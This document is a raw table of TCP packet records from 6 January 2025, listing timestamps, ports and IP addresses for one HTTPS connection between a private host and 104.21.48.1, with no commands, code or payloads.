Jan 6, 2025 13:55:02.843445063 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.843457937 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.843487024 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.843502998 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.844078064 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.844094992 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.844139099 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.844146967 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.844153881 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.844182968 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.847138882 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.847157001 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.847198963 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.847204924 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.847239971 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.847240925 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.847290993 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.847296953 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.847628117 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.847672939 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.847678900 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.847888947 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.847939968 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.847944975 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.851131916 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.851161957 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.851181030 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.851188898 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.851216078 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.851238966 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.860836983 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.860868931 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.860894918 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.860901117 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.860929012 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.860943079 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.876509905 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.910352945 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.910368919 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.910437107 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.910449028 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.910460949 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.910480022 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.910512924 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.910520077 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.910532951 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.910559893 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.934313059 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.934355974 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.934405088 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.934413910 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.934468985 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.934477091 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.934526920 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.934531927 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.934561968 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.934582949 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.934710026 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.934770107 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.934777021 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.937825918 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.937840939 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.937896967 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.937902927 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.938116074 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.938155890 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.938184023 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.938190937 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.938200951 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.938218117 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.938262939 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.938266993 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.939380884 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.941853046 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.941869974 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.941936970 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.941950083 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.944336891 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.951493979 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.951510906 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.951570988 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.951579094 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.951642036 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.951654911 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.954056978 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:02.957519054 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:02.957586050 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.001183987 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.001255989 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.001554012 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.001570940 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.001615047 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.001620054 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.001629114 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.001652956 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.001699924 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.001704931 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.001974106 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.024831057 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.024935007 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.024985075 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.025041103 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.025131941 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.025187016 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.025491953 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.025569916 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.025619984 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.025625944 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.025636911 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.026211977 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.026249886 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.026266098 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.026273012 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.026300907 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.028356075 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.028409004 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.028414965 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.028520107 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.028522968 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.028536081 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.028569937 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.028595924 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.032280922 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.032316923 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.032340050 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.032345057 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.032372952 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.032392979 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.032548904 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.032566071 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.032592058 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.032610893 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.032618999 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.032641888 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.042157888 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.042176008 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.042211056 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.042224884 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.042231083 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.042268991 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.042304039 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.091502905 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.091536045 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.091567993 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.091578007 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.091619968 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.091658115 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.091717958 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.091862917 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.091892958 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.091927052 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.091933012 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.091979980 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.115483046 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.115556955 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.115658998 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.115691900 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.115717888 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.115729094 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.115770102 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.116034985 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.116072893 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.116089106 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.116099119 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.116122007 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.116206884 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.116255045 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.116261959 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.116771936 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.116800070 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.116821051 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.116826057 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.116847992 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.116861105 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.119153023 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.119219065 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.119301081 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.119359016 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.122782946 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.122831106 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.122967958 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.123006105 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.123019934 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.123025894 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.123054981 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.123161077 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.123208046 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.123214006 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.125178099 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.132673979 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.132715940 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.132749081 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.132755995 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.132850885 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.132855892 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.132872105 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.132914066 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.132920027 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.138865948 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.138897896 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.138926029 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.138932943 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.138976097 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.182483912 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.182532072 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.182549953 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.182554960 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.182576895 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.182579041 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.182634115 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.182641029 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206201077 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206226110 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206279039 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.206284046 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206315041 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.206322908 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206372023 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.206378937 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206424952 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.206509113 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206562042 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.206801891 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206840992 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206865072 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.206871033 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.206882954 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.209853888 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.209868908 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.209909916 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.209916115 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.209947109 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.213459969 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.213480949 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.213521957 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.213526964 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.213552952 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.213965893 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.213979006 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.214025021 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.214031935 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.214054108 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.223468065 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.223483086 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.223543882 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.223551035 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.223706961 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.268459082 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.273145914 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.273161888 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.273246050 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.273282051 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.273288012 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.273300886 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.273333073 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.296885014 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.296917915 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.296982050 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.296996117 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.297068119 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.297110081 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.297139883 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.297141075 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.297154903 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.297209978 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.297245979 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.297271013 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.297280073 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.297290087 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.298001051 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.298033953 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.298048019 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.298060894 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.298069000 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.298094988 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.300518990 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.300555944 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.300565958 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.300581932 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.300590038 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.300600052 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.300600052 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.300617933 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.300638914 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.300647974 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.302028894 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.304059029 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.304115057 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.304384947 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.304411888 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.304446936 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.304452896 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.304471970 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.314101934 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.314133883 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.314188957 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.314199924 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.314385891 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.320106983 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.320163012 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.320171118 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.362299919 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.363780975 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.363801003 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.363854885 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.363862038 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.363893986 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.363920927 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.364217043 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.364249945 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.364276886 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.364284992 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.364310026 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.387484074 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.387670994 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.387685061 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.387698889 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.387758970 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.387763977 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.387785912 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.388077021 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.388096094 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.388128996 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.388135910 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.388164043 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.388190031 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.388240099 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.388245106 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.388290882 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.388544083 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.388597965 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.391000986 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.391062975 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.391235113 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.391269922 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.391292095 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.391295910 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.391305923 CET	443	49704	104.21.48.1	192.168.2.5
Jan 6, 2025 13:55:03.391333103 CET	49704	443	192.168.2.5	104.21.48.1
Jan 6, 2025 13:55:03.391333103 CET	49704	443	192.168.2.5	104.21.48.1
